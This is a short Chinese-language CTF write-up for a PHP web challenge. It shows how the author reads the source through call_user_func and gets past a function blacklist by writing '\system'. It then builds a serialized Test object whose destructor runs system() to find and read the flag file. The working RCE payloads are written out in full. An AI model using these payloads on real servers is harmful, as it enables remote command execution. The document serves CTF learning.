首先访问网站,发现警告,说的是后端时区设置不对,这引导我们看看index源码是怎么查询时间的
Warning: date(): It is not safe to rely on the system's timezone settings. You are required to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
bp抓包,发现post了两个参数func和p,这其实是传给后端调用php的date函数打印当前时间
那么就可以利用这个方法调用别的函数了,比如使用file_get_contents(index.php)查看index.php源码
func=file_get_contents&p=index.php
index.php源码可以看到对输入的func进行了过滤,system等很多函数不让用
尝试在system前面加一个\
来绕过in_array()的匹配,而实际执行时不受影响。比如构造func=\system&p=find / -name *flag*
直接来搜flag。
由于反序列化unserialize()没被过滤,所以尝试反序列化生成Test对象,由于其析构函数__destruct()里面没有过滤,所以调用即可
<?php
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$test = new Test();
$test->func = 'system';
$test->p='find / -name flag*';
var_dump(serialize($test));
?>
post请求
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
发现flag文件位置
func=\system&p=cat /tmp/flagoefiu4r93
或者 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
都可返回flag